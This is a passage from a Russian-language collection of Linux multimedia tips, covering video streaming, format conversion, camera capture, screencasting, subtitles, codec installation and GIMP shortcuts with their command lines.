    http://localhost:PORT/FEED - это адрес, где ffserver будет ждать наш поток
    
    PS: если выдаст ошибку, то можно попробовать формат v4l (-f video4linux)
    
    Открываем в браузере http://localhost:8090/test.swf 
    
    
    Для отправки видео поменяем параметр -i на путь к файлу, уберём -f (ffmpeg сам
    определит формат файла):
    
       $ ffmpeg -s 352x288 -r 30 -i ~/big_buck_bunny.ogg http://localhost:8090/feed.ffm
    
    Ну а что бы вставить нашу флешку в html-страницу используем следующий код:
    
       <embed src="http://localhost:8090/test.swf" width="550" height="400"></embed>
    
     
    ----* Преобразование MKV видеофайлов в формат AVI (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для перекодирования видео, упакованного в контейнер MKV (Matroska), можно
    использовать следующую конструкцию:
    
    Распаковываем:
     
       mkvextract tracks input.mkv 1:temp_video.avi 2:temp_audio.ac3 3:output.srt
    
    Утилита mkvextract входит в состав стандартного пакета mkvtoolnix, ее можно загрузить 
    со страницы http://www.bunkus.org/videotools/mkvtoolnix/)
    В процессе работы mkvextract покажет какой в данном mkv файле использован видео и аудио кодек,
    что даст возможность принять решение - прекодировать другим кодеком или нет. 
    
    Объединяем в AVI:
    
       ffmpeg -i temp_audio.ac3  -i temp_video.avi  -vcodec copy -acodec copy  output.avi
    
    Если ffmpeg в процессе кодирования выдает ошибку и прекращает работу, можно попробовать:
    
       mencoder temp_video.avi -audiofile temp_audio.ac3  -ovc copy -oac copy -o output.avi
    
    Еще способ:
       mencoder input.mkv -ovc copy -oac copy -of avi -o output.avi
    
    Другой вариант, с перекодированием:
    
       mencoder input.mkv -oac mp3lame -lameopts vbr=3 -ovc xvid -xvidencopts fixed_quant=4 -of avi -o output.avi
    
    Если возникает ошибка "Too many audio packets in the buffer", то можно
    попробовать двухэтапную схему:
    
    Выдергиваем несжатую аудиодорожку:
       mplayer input.mkv -ao pcm:fast:file=audio.wav -vc null -vo null
    
    Перекодируем видео, подставив звук через "-audiofile audio.wav":
       mencoder input.mkv -ffourcc divx -ovc lavc -lavcopts vcodec=mpeg4:vhq:vbitrate=6000 \
        -audiofile audio.wav -oac mp3lame -lameopts vbr=3 -o output.avi
    
    Для конвертации для просмотра на КПК нужно уменьшить vbitrate до 400 и добавить
    опции масштабирования "-sws 2 -vf scale=352:-3".
    
     
    ----* Акселерация декодирования видео в Ubuntu для карт NVIDIA средствами VDPAU (доп. ссылка 1)   Автор: Владимир Яковлев  [комментарии]
     
    VDPAU поддерживается видеокартами nvidia серии 9000 и некоторых 8xxx (напирмер, 8500GT). 
    Технология позволяет использовать аппаратную акселерацию декодирования HD видео с 
    кодеками H.264/X.264 и VC-1 (xvid, divx, wmv).
    
    Результат: декодирование x.264, FullHD 1920x1080 с 1-2% нагрузкой на процессор. 
    Без VDPAU процессор не справляется, и видео идет рывками, 5-6 кадров в секунду.
    
    Для использования VDPAU необходимо установить новую версию видеодрайвера (nvidia 180, 
    который ставит ubuntu подходит) и пропатченый плеер.
    
    
    Добавляем источник программ:
    
       sudo -i
       cat > /etc/apt/sources.list.d/vdpau.list <<"EOF"
       deb http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu jaunty main
       deb-src http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu jaunty main
       EOF
    
    получаем открытый ключ для него
    
       apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CEC06767
    
    обновление программ
    
       apt-get update
       apt-get install mplayer smplayer
    
    
    Проверяем:
    
       mplayer -vo vdpau -vc ffmpeg12vdpau,ffh264vdpau, film.mkv
    
    
    Для графической оболочки smplayer нужно в настройках поставить видеовывод (vo) vdpau 
    и на закладке дополнительно-настройки mplayer вписать
    
       -vc ffh264vdpau,ffmpeg12vdpau, 
    
    Советую отключить "позволять выпадение кадров", иначе будет медленно
    перематывать (без vdapu эффект обратный).
    
    Если при проигрывании появляются надписи типа "ffh264vdpau not found in libavcodec", 
    то нужно поставить полную версию кодеков:
    
       sudo apt-get install libavcodec-unstripped-52 libavformat-unstripped-52
    
     
    ----* Удаление из фильмов английской звуковой дорожки (доп. ссылка 1)   Автор: ffsdmad   [комментарии]
     
    Многие фильмы содержат кроме звуковой дорожки на русском языке, еще и оригинальную на английском, 
    которая потребляет дополнительных 40-60 мегабайт места на диске.
    
    Чтобы узнать количество дорожек в целой группе фильмов нужно использовать команду
    
       $ for f in *.avi; do echo -n "$f / " ; mplayer -endpos 0 -vo null "$f" 2> /dev/null | grep "Audio stream found"|wc -l ; done
    
    А избавиться от ненужных дорожек можно так (с заменой старых файлов):
       for f in *.avi ;do mencoder -alang ru -ovc copy -oac copy "$f" -o "$f.t" && mv "$f.t" "$f" ; done 
    
    Важны опции:
    
     -ovc copy и -oac copy - просто копируют выбранные аудио и видео потоки без какой либо обработки
    
     -alang ru - выбирает русскоязычную дорожку
    
     
    ----* Захват видео с ip-камер с пробросом на программы видеонаблюдения   Автор: Андрей Никитин  [комментарии]
     
    Большинство современных ip-камер умеют отдавать потоковое видео двумя основными способами:
    
    1) по протоколу http: в виде потока jpeg-ов (Motion JPEG)
      - поддерживается почти любым софтом - Motion, Zoneminder, AVReg ...
    
    2) по протоколам rtsp:(управление), rtp:(транспорт) и сжатием - mpeg4 (обычно)
      - поддержка захвата по rtsp недавно заявлена только у Zoneminder,
        однако работает ли и как работает - я не проверял,
        если кто пользовал - напишите в комментах.
    
    Прим.: речь НЕ про фирменный платный или бесплатный софт, поставляемый
    в комплекте с ip-камерой, а про универсальный софт видеонаблюдения,
    не завязанный на конкретного производителя или даже модели сетевых видеокамер.
    
    Однако есть небольшое количество камер, которые:
    
    1) могут отдавать видео только по rtsp, например D-Link DCS-950;
     или
    
    2) по http могут отдавать только одиночные кадры JPEG (snapshot mode или still image),
      что создаёт лишнюю нагрузку на сеть (при http/1.0) и не позволяет получить
      высокую и стабильную скорость захвата (условно выше 10fps)
      Примеры: D-Link DCS-2000+, DCS-2100, DCS-3230, DCS-5300.
    
    Прим.: модельный ряд D-Link-а выбран исключительно из за распространённости,
    а также потому, что у других уважаемых производителей моделей с подобными
    функциональными ограничениями лично я не встречал.
    
    Ниже предлагаю вариант сопряжения подобных устройств с выше обозначенным софтом.
    Важное замечание: серьёзными недостатками этого метода являются последствия
    дополнительного лишнего декодирования (из mpeg4) и кодирования видео (в jpeg):
    
    1) существенная нагрузка на процессор (+20% на 2.4ГГц Intel-е, поток 640x480@25fps);
    
    2) потеря в качестве изображения.
    
    Итак, к делу - SYNOPSIS.
    
       % vlc --intf dummy rtsp://x.x.x.x:554/mpeg4/media.amp --no-sout-audio \
         --sout '#transcode{vcodec=MJPG}:standard{ \
            access=http{mime=multipart/x-mixed-replace;boundary=myboundary}, \
              mux=mpjpeg,dst=:8050/video.mjpg}'
    
       VLC media player 0.8.6h Janus
       [00000289] dummy interface: using the dummy interface module...
       [00000306] main private: creating httpd
    
    Где, vlc - это vlc, x.x.x.x:554 - адрес и rtsp порт сетевой камеры,
    8050 - порт http, с которого можно забирать живой поток с камеры в виде Motion JPEG.
    
    Ниже привожу детали для конкретно заинтересованных.
    
       % sudo netstat -atunp -l | grep vlc
       tcp        0      0 x.x.x.x:60868     x.x.x.x:554   ESTABLISHED 7719/vlc
       # это комп<->камера rtsp
       udp        0      0 0.0.0.0:50750     0.0.0.0:*                 7719/vlc
       udp        0      0 0.0.0.0:50751     0.0.0.0:*                 7719/vlc
       udp        0      0 0.0.0.0:48576     0.0.0.0:*                 7719/vlc
       udp        0      0 0.0.0.0:48577     0.0.0.0:*                 7719/vlc
       # это транспортные соединения rtp для аудио и видео потоков
    
       tcp        0      0 0.0.0.0:8050      0.0.0.0:*      LISTEN     7719/vlc
       # а вот он и желаемый результат - http-сервер, с которого мы будем забирать MJPEG
    
    Проверяем доступность httpd.
    
       % HEAD http://localhost:8050/video.mjpg
       200 OK
       Cache-Control: no-cache
       Content-Length: 0
       Content-Type: multipart/x-mixed-replace;boundary=myboundary
       Client-Date: Fri, 04 Sep 2009 11:43:37 GMT
       Client-Peer: 127.0.0.1:8050
       Client-Response-Num: 1
    
    Ну и наконец смотрим.
    
       % ffplay http://localhost:8050/video.mjpg
    
    Примечание: ffplay (из пакета ffmpeg) - единственный плеер в Debian 5.0 Lenny,
    который отобразил этот поток.
    
    Проверяли мы с камерой Axis,
      только видео - rtsp://192.168.53.90:554/mpeg4/media.amp/trackID=1
    
    Настройки Axis:
     Video Stream:
       * Maximum frame rate: Unlimited
     MPEG4(MP4V-ES):
       * Variable bit rate
       * GOV length: 12
       * Maximum bit rate: limited, 3000 kbit/s
       * Variable bit rate
    
    Поток получался 640x480@25fps.
    
     
    ----* Кодирования видео с miniDV видеокамеры в Linux (доп. ссылка 1)   Автор: itbg  [комментарии]
     
    Задача: Сбросить видео на ПК и пережать его для последующего хранения.
    
    Нам потребуется:
    
    1) Ядро с поддержкой FireWire 1394 или v4l (смотря кто как будет скидывать видео)
    
    2) Программа dvgrab (собственно с её помощью мы будем грабить видео с miniDV кассеты из консоли)
    
    3) Программа mencoder (Входит в поставку с видео плеером mplayer)
    
    4) Программа avimerge для склеивания нескольких avi файлов в один (входит в состав transcode)
    
    Грабим видео:
    
    Для начала нам потребуется подключить видеокамеру к ПК.
    В случае с FireWire 1394 никаких драйверов нам не нужно, просто подключаем и работаем.
    В случае подключения камеры по средствам USB нам нужно определиться с её поддержкой ядром Linux.
    Как мы уже знаем, сделать это можно с помощью команды lsusb и затем
    скомпилировать подходящий модуль ядра.
    Я решил упростить себе жизнь и просто купил внешнюю карту FireWire 1394.
    
    Для начала установим пакет dvgrab
    
    Затем нам нужно перемотать miniDV кассету на начало и подключить камеру к ПК.
    
    Теперь перейдём к процессу копирования видео:
    
    Утилита dvgrab имеет множество полезных параметров, давайте рассмотрим некоторые из них:
    
    -a, -autosplit - Этот параметр отвечает за нарезку видеофайлов, т.е dvgrab
    будет резать видео автоматические на куски,
    между нажатиями на кнопку запись/стоп. Это очень удобно если Вы хотите рассортировать сюжеты.
    
    -f, -format - Позволяет в ручную задать формат видео потока, если параметр не
    задан, то dvgrab автоматически
    попытается определить формат данных. Если у Вас hdv камера то нужно обязательно
    указать этот параметр.
    
    -F, -frames - Количество кадров
    
    -s, -size - Устанавливает лимит на видео файл. По умолчанию установлен размер 1024 мегабайта, 
    что удобно если Вы монтируете DVD диск.
    
    -V, -v4l2 - Если Вы планируете скинуть видео через драйвер v4l2
    
    Об остальных параметрах можно почитать man dvgrab
    
    В моём случае я воспользовался вот такой конструкцией:
    
        dvgrab -format raw -size 20000 cam.dv
    
    Поскольку размер одной кассеты около 13 Гб, то всё видео будет сохранено одним файлом,
    это для удобства кодирования.
    
    Кодируем видео:
    
    Первый проход:
    
       mencoder cam001.dv -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800:vhq:vpass=1:vqmin=1:vqmax=31 \
       -oac mp3lame -lameopts vbr=2:q=7 -o mpeg4.avi -vf field,scale=768:576 -aspect 4:3
    
    Второй проход:
    
       mencoder cam001.dv -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800:vhq:vpass=2:vqmin=1:vqmax=31 \
       -oac mp3lame -lameopts vbr=2:q=7 -o mpeg4.avi -vf field,scale=768:576 -aspect 4:3
    
    При таких параметрах 1 час видео занимает около 800 Мб
    При необходимости можно изменить битрейт видео и звука для достижения желаемого качества.
    
    
    Склеиваем видео:
    
    Для склеивания видео в один большой файл мы воспользуемся утилитой avimerge.
    Делается это очень просто:
    
       avimerge -o com.avi -i 1.avi 2.avi 3.avi
    
    Где com.avi - это итоговый видео файл, а 1.avi 2.avi 3.avi - это видео файлы,
    предназначенные для склеивания.
    
     
    ----* Как исправить дату в EXIF блоке фото (доп. ссылка 1)   Автор: jetxee  [обсудить]
     
    При необходимости изменения времени в EXIF блоке фотографий, например, при неправильной 
    установке даты на фотоаппарате, можно использовать утилиту exiftool.
    
    Например, вычтем из установленной даты один год и 13 часов:
    
       exiftool "-DateTimeOriginal-=1:0:0 13:00:00" *.jpg
    
    Варианты до изменения будут сохранены с окончанием "_original", чтобы их
    восстановить нужно выполнить:
    
       for f in *_original ; do mv $f ${f%_original} ; done
    
     
    ----* Захват видео непосредственно с X-сервера (доп. ссылка 1)   Автор: xAnd  [комментарии]
     
    Задача: снять видео с рабочего стола Ubuntu.
    
    Устанавливаем ffmpeg и кодеки:
    
       sudo apt-get install ffmpeg
       sudo apt-get install libavcodec-unstripped-52 libavdevice-unstripped-52 libavformat-unstripped-52 \
       libavutil-unstripped-49 libpostproc-unstripped-51 libswscale-unstripped-0 ffmpeg faac
    
    Команда, которая пишет видео с рабочего стола:
    
       ffmpeg -f x11grab -s 1280x800 -r 25 -i :0.0 -vcodec qtrle screenvideo.mov
    
    Разберёмся с параметрами командной строки:
    
    -f x11grab - источник сигнала (в нашем случае X-сервер);
    
    -i :0.0 - экран X-сервера или просто номер монитора;
    
    -s 1280x800 - захватываемое разрешение экрана (тут очень рекомендую сохранять пропорции экрана, 
    а ещё лучше жать в натуральное разрешение экрана, ибо потеря качества очень серьезная);
    
    -r 25 - количество кадров в секунду;
    
    -vcodec qtrle - кодек для захвата (параметр необязательный, по идее ffmpeg определяет тип кодека 
    автоматически по расширению выходного файла);
    
    screencast.mov - собственно выходной файл. Можно указывать полный путь.
    
    
    После выполнения указанной команды сразу же начнётся процесс записи.
    Чтобы остановить запись необходимо нажать "q" в терминале, в котором идёт процесс захвата.
    
    Для удобства публикации, полученный файл можно конвертировать в формат .flv тем
    же ffmpeg'ом, например так:
    
       ffmpeg -i screencast.mov screencast.flv
    
     
    ----* Создание видеоролика из набора фотографий (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Для объединения нескольких изображений в видеоролик с наложением звуковой
    дорожки можно использовать:
    
       ffmpeg -i sound.mp3 -f image2 -i img/image%d.jpg video.avi
    
    Тоже самое средствами mencoder:
    
       mencoder mf://*jpg -mf w=640:h=480:fps=10:type=jpg -ovc lavc -lavcopts \
          vcodec=mpeg4:mbd=2:trell -oac copy -o output.avi
    
    Плюс добавляем звуковую дорожку:
    
       mencoder -oac copy -ovc copy -audiofile sound.mp3 output.avi -o video.avi
    
    Преобразуем в mpeg4:
    
       mencoder Alex.avi -oac mp3lame -lameopts abr:br=32 -ovc lavc \
          -lavcopts vcodec=mpeg4:mbd=2:trell:vbitrate=160  -vf scale=320:240  -o films.avi
    
     
    ----* Настройка видео в skype в сочетании с Compiz (доп. ссылка 1)   Автор: ПСВ  [комментарии]
     
    Для нормального вывода видео Skype при использовании Compiz, нужно заставить Skype 
    не использовать xv режим вывода. Для этого запускаем skype так:
    
       LD_PRELOAD=/usr/local/lib/libnoXv.so /path/to/skype 
    
    В загружаемой библиотеке XvQueryExtension всегда возвращает -1.
    
     
    ----* Запись видео с web-камеры со звуком в Linux с помощью Mencoder (доп. ссылка 1)   Автор: itbg  [комментарии]
     
    Записать видео можно через GUI интерфейс подобный cheese, но мы сделаем это
    через Mplayer и mencoder.
    
    Теперь убедимся что WEB камера у Нас показывает.
    Даём команду:
    
       mplayer tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0
    
    Если возникли проблемы, убедимся что в ядре включена поддержка WEB камеры и v4l2.
    
    Пробуем записать видео:
    
        mencoder tv:// -tv driver=v4l2:width=:height=:device=/dev/video0 -nosound -ovc lavc -o VideoFile.avi
    
    На выходе получим видео но без звука.
    
    Теперь осталось прикрутить звук к видео, который мы будем писать через встроенную звуковую карту.
    
    Готовая команда выглядит так:
    
      mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video0:alsa:forceaudio:amode=0:adevice=hw.0,0 \
       -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts vbr=3:br=32:mode=3 -af volnorm -o VideoFile.avi
    
    Описание команд:
    
    tv:// - Источник видео
    driver=v4l2 - Драйвер видео, в нашем случае v4l2
    width и height - Размеры видеокартинки
    device=/dev/video0 - Видеоустроство
    -nosound - Без звука
    -ovc lavc - Видеокодек
    alsa:forceaudio:amode=0: - Параметры звука
    adevice=hw.0,0 - Звуковая карта, если нет звука или вы хотите писать его например через микрофон 
    в WEB камере то поиграйтесь со значениями 0,0 (0,1;1,0 и т.д)
    -lavcopts vcodec=mpeg4 - Параметры кодека
    -oac mp3lame - Звуковой кодек, в Нашем случае mp3 Lame
    lameopts vbr=3:br=128:mode=0 - параметры для кодека Lame
    vbr=3 - используем ABR. vbr=0 соответствует CBR
    br=32 - указываем битрейт, в данном случае 32 Kbps
    mode=0 - на выходе получаем стерео звук. mode=3 соответствует mono-звуку
    -af volnorm - Нормализация звука 
    
     
    ----* Решение проблемы с подключением web-камеры к Skype под Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Если в Linux дистрибутиве с ядром 2.6.27 или старше локальная web-камера (например, 
    камеры серии Logitech Quickcam Communicate работающие через gspca драйверы) в skype 
    (или любой другой программе использующей интерфейс v4l1) отображает лишь шум на экране, 
    для запуска skype нужно использовать скрипт:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so
       skype 
    
    
    v4l1compat.so входит в состав пакета libv4l
    
    Проверить в v4l1 ли причина можно так:
    
       LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so mplayer tv:// -tv driver=v4l2:device=/dev/video0
    
    Для настройки параметров отображения удобно использовать программу v4lucp (http://sourceforge.net/projects/v4l2ucp/)
    
    Создание скрипта для подмены skype:
    
      mv /usr/bin/skype /usr/bin/skype-bin; echo -e '#!/bin/sh\n\n
       export LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so\n\nskype-bin' |
       tee -a /usr/bin/skype; sudo chmod +x /usr/bin/skype
    
     
    ----* Шифрование и просмотр видео (gpg, mplayer)   Автор: borey  [комментарии]
     
    Озадачился такой проблемой.
    Есть несколько видео клипов, которые я бы не хотел чтобы кто нибудь смог увидеть, 
    если украдут или взломают носитель. Частное видео. Но хотелось бы иметь удобный
    способ быстро его просмотреть.
    
    Для себя решил эту задачу просто. Шифровать gpg, а просматривать mplayer ом
    через специальный скрипт.
    
    1. Шифруем симметричным шифром
    
       gpg -c file.avi
    
    2. Для проигрывания используем такой простенький скрипт:
    
       #!/bin/sh
    
       echo  "Enter pass and press <Enter>:"
       stty -echo 
       read pass
       stty echo
    
       for i in $@ ;do
           echo "playing $i ..."
           echo $pass | gpg -d --passphrase-fd 0  "$i" | mplayer - >/dev/null 2>&1
    
       done
    
    Со скриптом конечно возможны варианты. Но меня вообщем устраивает.
    Единственный минус, при таком воспроизведении mplayer скроллить не может (raw режим).
    Если кому то это существенно , надо распаковывать во временный файл. Но так
    проигрываем в безопасности.
    Вообщем мои потребности такое решение удовлетворяет, надеюсь будет кому-то полезно.
    
     
    ----* Подготовка субтитров и их встраивание в видеоизображение (доп. ссылка 1)   Автор: jetxee  [комментарии]
     
    Как сделать субтитры? 
    Очень просто:  ставим gaupol, запускаем, выбираем File->New, сохраняем в пустой файл mysubs.srt, 
    подключаем видео (File->Select Video, этот пункт недоступен, пока мы не сохраним проект), 
    после этого аккуратно вписываем все субтитры, иногда нажимая кнопку Play, 
    чтобы посмотреть на результат и заметить время. 
    Спустя некоторое время у нас окажется готовый файл с субтитрами mysubs.srt.
    
    В идеале, так их и надо распространять. Отдельным файлом. Однако зрителю придётся озаботится 
    установкой правильных шрифтов, указать правильную кодировку субтитров в своём плеере, 
    и вообще, пользоваться плеером, который умеет показывать субтитры.
    
    Можно же встроить субтитры прямо в видео (пережать видео так, чтобы субтитры
    стали частью видеокартинки).
    Тогда они будут правильно видны у любого зрителя (в т.ч. на всяких ютубах). 
    Правда, увы, их нельзя будет отключить или как-то изменить.
    
    Чтобы встроить субтитры в видео, вначале подбираем нужные параметры их
    воспроизведения, например, так:
    
        mplayer -subwidth 75 -subcp utf8 -subfont-text-scale 3 -sub mysubs.srt myvideo.avi
    
    Опции показа - см. man mplayer. После этого перекодируем видеофайл:
    
        mencoder -oac mp3lame -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=2000 \
          myvideo.avi -subwidth 75 -subcp utf8 -subfont-text-scale 3 -sub mysubs.srt -o myvideo-with-hardsubs.avi
    
    Понятно, что выбор кодеков и параметров кодирования можно изменять по усмотрению. 
    
     
    ----* Настройка поддержки мультимедиа в Ubuntu 8.04 (доп. ссылка 1)   [комментарии]
     
    Подсказка про установку аудио и видео-кодеков, поддержки просмотра защищенных DVD.
    
       sudo apt-get install gstreamer0.10-plugins-ugly-multiverse \
         gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-bad \
         gstreamer0.10-plugins-ugly gstreamer0.10-ffmpeg libxine1-ffmpeg \   
         libdvdread3 liblame0
    
    В /etc/apt/sources.list добавляем репозиторий Medibuntu:
    
       deb http://packages.medibuntu.org/ hardy free non-free
    
    Импортируем PGP ключ и устанавливаем libdvdcss2 и w32-кодеки:
    
       wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- \
        | sudo apt-key add -
       sudo apt-get update
    
       sudo apt-get install libdvdcss2 w32codecs ffmpeg
    
    Дополнительные закрытые компоненты, включая flash плагин, java, шрифты.
    
       sudo apt-get install flashplugin-nonfree libflashsupport
       (или можно поставить открытый аналог flash - mozilla-plugin-gnash)
       sudo apt-get install sun-java6-fonts sun-java6-jre sun-java6-plugin
       sudo apt-get install msttcorefonts
    
    Поддержку мультимедиа можно поставить одной командой:
    
       sudo apt-get install ubuntu-restricted-extras
    
    Для Kubuntu - kubuntu-restricted-extras, для xubuntu - xubuntu-restricted-extras
    
    Недостающие кодеки для Ubuntu и Debian можно попытаться найти в репозитории http://debian-multimedia.org/
    
     
    ----* Создание gif-анимации на основе видеофрагментов, средствами gimp и mplayer (доп. ссылка 1)   Автор: bappoy  [комментарии]
     
    Использование mplayer и gimp для создания gif-анимации на основе видеофрагментов.
    
    1. Устанавливаем gimp и mplayer:
    
       sudo apt-get install gimp mplayer 
    или
       yum install gimp mplayer
    
    2. Методом тыка выбираем интервал для экспорта:
    
       mplayer -ao null -loop 0 -ss 0:11:22 -endpos 5 file.avi
    
    loop означает, что фрагмент будет проигрываться, пока пользователь не нажмёт Ctrl+C, 
    таким образом можно увидеть, на что будет похож конечный файл.
    
    3. Экспортируем фрагмент в jpg:
    
       mplayer -ao null -ss 0:11:22 -endpos 5 file.avi -vo jpeg:outdir=moviedirectory
    
    4. Сводим полученные jpeg'и в gimp, ("File / Open As Layers", "Файл / Открыть как слои"),
    сохраняем как анимированный gif. 
    
    Дополнение от pavlinux:
       mplayer video.avi -ss hh:mm:ss.lll -endpos hh:mm:ss.lll -vf \
           scale=160:120 -vo gif89a:fps=3:output=out.gif -nosound
    
    hh:mm:ss:lll - часы:минуты:секунды:миллисекунды
    
     
    ----* Как записать интернет-радиостанцию в файл (доп. ссылка 1)   Автор: jetxee   [комментарии]
     
    Сохранить потоковое аудио в файл можно при помощи пакета streamripper 
    (http://streamripper.sourceforge.net/):
    
       streamripper http://адрес-mp3-потока-радиостанции -a radio.mp3 -M 50 -t
    
    Команда сохранит всё в один файл radio.mp3 
    Без опции "-a radio.mp3" каждый трек будет записан в отдельный файл
    "-M 50" - ограничение размера в мегабайтах;
    "-t" - при разрыве соединения временные файлы не перезаписывать.
    
     
    ----* Скринкасты с помощью ffmpeg x11grab и lossless кодека qtrle   Автор: unnamed  [комментарии]
     
    С недавних времён в ffmpeg появилась поддержка кодирования в qtrle.
    Apple Quicktime Animation (RLE) это кодек без потерь, идеально подходящий
    для снятия и кодирования скринкастов на лету, а самое главное,
    что полученный mov файл ещё и сжимается в несколько раз 7zip'ом. В итоге
    qtrle выигрывает по размеру у таких платных кодеков, как
    TechSmith Screen Capture Codec.
    
    Если ffmpeg у вас уже имеется, то смотрим есть ли в нём поддержка
    x11grab и кодека qtrle
    
       #ffmpeg -formats 2> /dev/null | egrep '(x11grab|qtrle)'
       D  x11grab         X11grab
       DEV D  qtrle
    
    "DEV" значит есть поддержка декодирования и кодирования, если у вас только
    "D V", то нужно обновить ffmpeg.
    
    Cнимаем скринкаст с параметрами:
    60 кадров в секунду, ключевой кадр каждые 600 кадров(10 с.) и
    разрешение 1280x1024 в файл screencast.mov
    
       #ffmpeg -r 60 -g 600 -s 1280x1024 -f x11grab -i :0.0 -vcodec qtrle screencast.mov
    
     
    ----* Список клавиатурных комбинаций для быстрого вызова функций в GIMP (доп. ссылка 1)   Автор: tlanvar  [обсудить]
     
    Небольшой список клавиатурных сокращений, используемых в графическом редакторе GIMP, 
    начиная с версии 2.0:
    
    Файл:
    
       Ctr+N - Создать файл
       Ctrl+О - Открыть файл
       Ctrl+W - Закрыть файл
       Ctrl+S - Сохранить файл
       Shift+Ctrl+S - Сохранить файл как
       Ctrl+Q - Выход
    
    Редактирование изображения:
    
       Ctrl+Z - отменить последнее действие
       Ctrl+R - повторить последнее действие
       Ctrl+X - вырезать выделение
       Ctrl+C - копировать выделение
       Ctrl+V - вставить выделение
       Ctrl+K - очистить изображение/выделение до фона
       Ctrl+","(запятая) - залить изображение/выделение цветом фона
       Ctrl+"."(точка) - залить изображение/выделение цветом переднего плана
       Shift+Ctrl+C - копировать изображение/выделение в буфер с именем...
       Shift+Ctrl+V - вставить изображение/выделение из буфера с именем...
    
    Выделение изображениями:
    
       Ctrl+A - выделить все
       Ctrl+I - инвертировать выдление
       Shift+Ctrl+A - отменить выделение
       Shift+Ctrl+L - создать "плавающее" выделение
    
    Просмотр изображения:
    
       Shift+"+"(плюс) - увеличение размера
       Shift+"-"(минус) - уменьшение размера
       Shift+1 - просмотр 1:1
       Ctrl+E - подгонка окна под размер изображения
       Ctrl+Т - показать/скрыть выделение
       Shift+Ctrl+I - просмотр информации об изображении
       Shift+Ctrl+N - открытие окна навигации
       Shift+Ctrl+Т - показать направляющие
       Shift+Ctrl+R - включить/выключить линейки
    
    Обработка изображения или слоя:
    
       Ctrl+D - создание копии изображения
       Ctrl+M - объединить слои
       Ctrl+H - прикрепить &#8220;плавающее&#8221; выделение
       Shift+Ctrl+O - смещение слоя
    
    Инструменты:
    
       D - сбросить цвета
       Х - поменять цвет переднего плана и фона
    
    Выделение:
    
       R - выделение прямоугольных областей
       E - выделение эллиптических областей
       F - выделение произвольных областей
       Z - выделение связанных областей или "Волшебная палочка"
       Shift+О - выделение по цвету
    
    Контуры:
    
       В - создание и редактирование контуров.
    
    Вспомогательные инструменты:
    
       О - получение цвета из изображения или пипетка.
       М - перемещение слоев и выделенных областей.
    
    Модификация изображения:
    
       Shift+С - кадрирование или изменение размеров изображения - "скальпель"
       Shift+R - поворот слоев или выделенных областей.
       Shift+Т - масштабирование слоев или выделенных областей.
       Shift+S - искривление слоев или выделенных областей .
       Shift+P - изменение перспективы или выделенных областей.
       Shift+F - отражение слоев или выделенных областей.
    
    Инструменты для рисования:
    
       Т - текст.
       Shift+В - заливка цветом или шаблоном.
       L - заливка цветным градиентом .
       N - рисование резкими линиями или "карандаш".
       Р - рисование мягкими линиями или "кисть".
       Shift+Е - стирание до фона или прозрачности или "ластик"
       L - аэрограф.
       К - рисование пером.
       С - рисование с использованием шаблона или участка изображения -   "штамп".
       V - резкость или размытость.
       S - "размазывание" изображения.
       Shift+D - осветление или затемнение штрихов.
    
    Диалоги
    
       Ctrl+L - диалог слоев
       Ctrl+G - диалог градиентов
       Ctrl+Р - диалог палитр
       Shift+Ctrl+В - диалог кистей
       Shift+Ctrl+Р - диалог шаблонов
    
     
    ----* Подготовка 3gp видео для сотового телефона (доп. ссылка 1)   Автор: Ivan A-R  [комментарии]
     
    Многие современные мобильные телефоны поддерживают проигрывание и запись1) файлов в формате 3GP. 
    Этот формат разработан специально для применения в портативных устройствах с
    небольшим разрешением экрана.
    
    К счастью у нас есть свободный кросплатформенный конвертер видеоформатов ffmpeg 
    
    В Debian GNU/Linux или Ubuntu поставить ffmpeg можно из репозитория. 
    Версию для windows можно скачать по адресу http://ffdshow.faireal.net/mirror/ffmpeg/ 
    
    Теперь перейдём собственно к конвертации: 
    
        ffmpeg -i input.avi -s qcif -r 12 -ac 1 -ar 8000 -b 30 -ab 12 output.3gp
    
    Здесь ключи определяют: 
       -i input.avi - имя входного файла;
       -s qcif -r 12 - кодировать видео с разрешением 176&#215;144 и 12 кадров в секунду;
       -ac 1 -ar 8000 - кодировать звук в один канал (моно) с частотой 
          дискретизации 8000 (это даст максимальную воспроизводимую частоту в 4000 Гц);
       -b 30 -ab 12 - установить видео битрейт 30 кбит/с и аудио битрейт 12 кбит/с;
       output.3gp - результирующий файл.
    
    Кодирование идёт достаточно быстро и по окончании результирующий файл готов к отправке на телефон. 
    Как перенести файл на телефон это уже личное дело Вас и телефона. На свой Siemens CX75 
    я переношу файлы с помощью кардридера и RS-MMC карты на 512Mb. 
    
    Хочу предостеречь от создания роликов большого размера. К примеру попытка проиграть 
    на моём телефоне ролик в 17Mb (~50мин.) привела к зависанию и выключению тела.
    
     
    ----* Просмотр DVD в mplayer и другие полезные советы   [комментарии]
     
    В mplayer нет поддержки DVD меню, поэтому приходится использовать:
    
       mplayer dvd://номер_видеоматериала
    
    например, mplayer dvd://1
    
    Если содержимое DVD скопировано в определенную директорию на локальной ФС, то
    для полноценного просмотра диска нужно указать:
    
       mplayer -dvd-device директория dvd://1
    
    Для отображения субтитров нужно использовать опцию "-sub имя_файла_с_субтитрами".
    При просмотре DVD можно явно указать язык субтитров, через опцию "-slang язык1,язык2,..". 
    Например: mplayer dvd://1 -slang en
    
    При проигрывании битого файла, чтобы работала смена позиции нужно использовать:
       mplayer -idx test.avi
    или
       mplayer -forceidx test.avi
    
    При рассинхронизации звука и видео можно попробовать:
       mplayer -autosync 30 -mc 2.0 test.avi
    или
       mplayer -autosync 0 -mc 0 test.avi
    
    Для прослушивания потокового интернет-радио по плейлисту:
       mplayer -playlist файл или url
    
